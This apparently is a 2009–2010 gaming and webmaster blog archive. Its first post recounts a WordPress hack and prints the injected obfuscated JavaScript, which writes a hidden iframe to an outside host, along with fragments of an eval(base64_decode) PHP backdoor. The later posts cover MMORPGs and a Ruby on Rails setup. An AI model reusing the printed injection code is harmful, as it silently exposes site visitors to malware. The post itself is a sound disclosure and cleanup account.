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Spring Cleaning – Of Hacked Files

Mitch — Wed, 03 Mar 2010 10:44:16 +0000

I do feel like I have to post an apology. Even though I try my best to try to stay virus free, apparently some still slip through. I recently decided I would upgrade the Wordpress version to a newer one, and ran into some difficulties/error messages and such. Like the Wordpress Dashboard reloading or getting redirected to some url like: iss9w8s89xx.org or something. I’m not sure how long ago the blog was compromised so my apologies to the visitors of the site.

After some searching I found the source, and cause of my problems. Apparently it was caused by using CoreFTP, and saving the password in that program which some virus on my computer managed to get into. Which then got access my Wordpress blog.

Especially noticeable was the code fragment which appeared on the bottom of every page:

script language=”javascript”>eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))eval(unescape(“%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B”))

Which appeared at the bottom of every single page which after some searching around on the net converted into:

script language=”javascript”>eval(unescape(“document.write(‘’);”))eval(unescape(“document.write(‘’);”))

I used a java unescape decoder to decode the script, if anyone was curious.

Oddly enough this code wasn’t in any of the files, but I later found out that many of the php files in my site had fragments of code like:

eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvY

or

Y29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1

etc

If anyone else runs into similar issues with their blogs go to:

http://www.google.com/support/forum/p/Webmasters/thread?tid=6f4cf473c414de1f&hl=en

For the solution on how to fix/clean your Wordpress blog of the hack/backdoor.

Some other useful links for me this time around was:

How to find a backdoor in a hacked WordPress

http://tools.tortoisesvn.net/grepWin – program I used to strip the code from my pages.

Anyways hopefully I managed to clear out all of the nasty scripts from the site, but if anyone notices anything abnormal send a message through my contact form.

Some parts of the site, or links may have become broken due to cleaning/stripping the malicious code so I would appreciate it, if you do notice it, to bring it up to me.

No related posts.

Happy Holiday! Goodbye 2009

Mitch — Wed, 30 Dec 2009 22:10:21 +0000

I just wanted to wish everyone a Happy Holidays. Party safely, play safely, and see you all next year!

No related posts.

Aion Online – Cube Expansions

Mitch — Wed, 21 Oct 2009 02:03:18 +0000

Well I was going to put up a post about how to expand your cube to a full 10 lines worth of space, but Zumbaro at Aion Insider has already posted one. So if you’re in need of more cubespace (aka inventory room). Head on over there to find out how to max it out. Only note worth mentioning is that the NPC Vindachinerk spawns at the Ruins of Roah location in between 1am-6am pretty much all the time. I’ve never seen him at the other locations personally, though this may just be bad luck on my part.

Aion Online – Live Status Tools – Freaking Awesome

Mitch — Tue, 22 Sep 2009 23:35:35 +0000

When Warhammer was released, and they had an updated ranking information with the realm ranks and everything I was stoked to be able to see a realm time updated database of players, their gear, and their current exp/renown rank via the Character Search function they had. However NCSoft’s Live Server Status for Aion is definitely superior. You can check you population ratios for servers, characters, character gear, character stigmas, abyss points, and you can even check you in game mail/auction house item sales. There’s even a 3D character model that you can view to show off your character. Wow. Just simply amazing.

And in case you’re wondering what I’m up to, here’s my character Xight on there.

Return of The Player – Aion

Mitch — Fri, 11 Sep 2009 02:36:18 +0000

Now its been quite a while since I last posted anything on here, but I’m just writing to let you all know that I’m alive, and still around. This past summer has been rather exciting of late with meeting new friends, and what not. Also since I live here in Maui I figured I go out, and catch some sun before getting trapped in my room from the next new MMORPG to come out. I know that I’ve been ranting about wanting to play something new now, and I think we’ve found our candidate. Aion. I’ll be looking into this while its going under open beta. Which if you would like to play, you can download/play it now with a preorder.

Been a Great Year For Readers Thanks Guys

Mitch — Tue, 02 Jun 2009 16:00:20 +0000

You know I haven’t really posted any traffic statistics for this site in quite a while. Actually the last one I posted was probably all the way back in 2007 when I was happy to hit my first 5000 Page views. Well this blog is going on 1.5 years now, and I’m currently on track to hit about 250k page views/year again this year which I didn’t think I would achieve soo soon. I just want to give a big thank you to all of you guys who hung in there with me these last few months.

It seems like my Alexa ranking took a huge hit ever since I dropped that Entrecard widget a little while back. It did give me a pretty good boost in traffic for a while, and some long term readership. However over all it was more work than benefit really. Quite surprisingly the traffic to the site is higher now than it was before yet, the Alexa ranking for this site is considerably lower now. What perplexes me to this day is that my account is still accruing Entrecard credits even though I have no widget posted, and the fact that my widget is not accepting new adverts.

My Google Page rank decided to come back up again from a 1 to a measly 2. The cuprit for this one is the wide linking to of the Warhammer Tome Tactics Guide.

The most popular page besides that one would be the 214k Gold limit for World of Warcraft. Which to this day still receives quite a few visitors from StumbleUpon. Many thanks to those of you who gave those pages a thumbs up.

Also another thanks to all the guys from MIT, and Texas A&M who seem to be the majority of readers who come back on a consistent basis, and in bulk.

No related posts.

Alrighty Now I’m Baaaaack

Mitch — Fri, 29 May 2009 11:38:14 +0000

Man its been a rough few weeks, but my parental unit is done with the eye surgery, and what not finally. The last few days have basically been recuperating so I’ll be basically able to start blogging again sometime soon. I’ve been playing around with my new camera recently so in the mean time check out some of the pics I took with it here.

No related posts.

Lack of Posts Apology

Mitch — Tue, 05 May 2009 22:14:30 +0000

Sorry for the lack of posts recently. I have been inundated with real life again as work is fairly busy, thankfully. As well as needing time off to take care of the parent who’s been needing an escort on airplanes while she goes to get eye surgery. So there’s another surgery for her coming up in the next few weeks, and once she is done recuperating from that I hope to be able to be back out here again. Anyways as always happy gaming. =D

The Quest For Good MMORPGs – Missing The Grind Yet Not

Mitch — Mon, 13 Apr 2009 16:44:11 +0000

Its been over a week or two since I’ve last played Warhammer Online, and I don’t think I’ll be doing so anytime soon. It was a good run, but the end game was just lackluster to say the least. I’m not going to post a detailed reasoning as other people who have already quit have already posted pretty much the same story. I’m taking up solace, and reintroducing myself back to DnD 4th edition. As well as reinstalling an old MMORPG that my WAR guildmates have all switched to, which is Final Fantasy XI Online.

Some of my friends were wondering why the switch to this old game instead of World of Warcraft. While I used to play WoW quite avidly, I just don’t have the desire to now. It seems like they give away the end game content way to easy. There’s no sense of reward anymore. Granted I don’t really miss the second job like raiding that I used to do, however I do miss the sense of achievement after learning a hard encounter for the first time.

I’m sure some of you hard core mmorpg raiders know what I’m talking about. The weekly raids with 20-40 people getting together to beat the other guilds on your server to a server first boss kill. Especially when it meant something that your guild killed Onyxia, in Molten Core, fighting in Blackwing Lair, or fighting bosses in Naxxeramus. Even prior to that there was people who got together to do planes raids in Everquest, which was an even harder thing to do back then.

What’s happened to the current MMORPGS nowadays? There’s no real sense of accomplishment in getting to the end game. We want that achievement, but games like World of Warcraft have really spoiled us in terms of how we should get there. It seems like the standard is now to have an easy time getting to the end level, which is where the content starts. Where as, before the fun was actually in leveling up or even the grind. Its something that I thought I would never miss after playing games like Lineage 1 and 2. Or even Ragnarok Online. However, I do admit once you got to your next level you did get that little bit of joy even though you’ve spend most of your day sitting at your computer neglecting your social life.

In a game like Warhammer Online, you play against other people in one of two factions. Yet there was no stake in the game. If you died you didn’t lose any items, exp or anything of value to you except time. You had no stake in any of the keeps, or land that the opposing faction was trying to take over. There became no real reason to defend said keeps/forts/even capitols. Even Failcom’s Age of Conan got that part right, by forcing people to grind out their guild cities they emphasized a need for that guild to stay together, and make enemies/allies with caution. You had a ’stake’ in what you put into the game, and to defend this you actually put in an honest effort since you didn’t want to lose your hard work.

Has it really come to this? Have we as gamers who have always wanted to skip through content to see the end game now just complaining that we have it all too easy? I kind of miss the grind, but I kind of don’t at the same time. Is it just me that feels this way?

Got Bored So I Installed Ruby on Rails, Or Tried To Atleast

Mitch — Tue, 31 Mar 2009 14:00:11 +0000

Lately I’ve been having bouts with insomnia. Being awake till the sun comes out, and having to go to work on 2 hours of sleep is not a good thing. Note: Blogging about the whole ordeal afterwards when I should be going to sleep is also not a good thing. However I’m very happy at my accomplishment tonight so I thought I’d share my results with the world.

If you don’t already know this, I started out this blog back in 2007 to teach myself about a few different things, among which was games, making money online, and some webmaster stuff. These occasional webmaster type of posts I haven’t included in a while so bear with me, as Iyou probably won’t see one like it for a while again, or possibly more if my insomnia doesn’t go away.

Anyways I somehow got the idea in my head to go a head and install, on my Windows 64 bit Vista box, a copy of Ruby on Rails 2.3.2. Simple enough, it was as easy as following the directions, and installing it. I won’t rewrite a tutorial on that seeing as how they are on the web in abundance. Here’s one I followed up to the SQL part. (I installed MySQL version 6.0 instead).

Speaking of MySQL, this was the cause of my problems tonight, however I was able to finally find the answers to my questions after much Googling. Why does it seem like if there is anything that could go wrong on an installation, it does.

So anyways the first problem that came up after the I went through the whole thing was to run the:

ruby script\server

Command to test out the darned application. To my horror I got a big red error message stating that something went wrong. Great, but I quickly found one error. Ruby defaults to SQLlive so in order for it to work with MySQL I had to change the contents of the database.yml file in the test project to contain the following:

development:
adapter: mysql
encoding: utf8
database: myfirstproject_development
username:
password:

However this didn’t seem to solve the issue. I still had that big old red error message pop up telling my that I failed to install it correctly. The error I was getting was:

bundled mysql.rb driver has been removed from Rails 2.2

Now this part took me a little bit of sifting through information. There was plenty of different solutions which all kind of worked. The most simplest was to copy the file libmySQL.dll from my SQL\bin folder to the c:\ruby\bin folder thanks to this post.

Soo, after all that I go and start up the ruby server again, and run into yet another error. This really isn’t my day for doing new installs. This time during the ‘rake’ command test, I get the:

Client does not support authentication protocol

error this time. Great, but atleast Sun has an easy way to fix that one here. Apparently you get that error message because you’re using a MySQL version older than 4.1 or something about old password hashes etc.

But anyways, its done. After all those errors, and about 3 hours of time spent, since I’m not at my peak thinking skills at 3am in the morning, I finally get the darned installation done. Its good, I can start my Ruby on Rails learning experience when I get back home from work tomorrow.

Except for one thing…

I installed MySQL 6.0 which is in alpha, and people are telling my to go install MySQL 5.1 if I want to learn on a stable platform. Soo, tomorrow I’ll be uninstalling, and reinstalling all this crap all over again.

Spring Cleaning – Of Hacked Files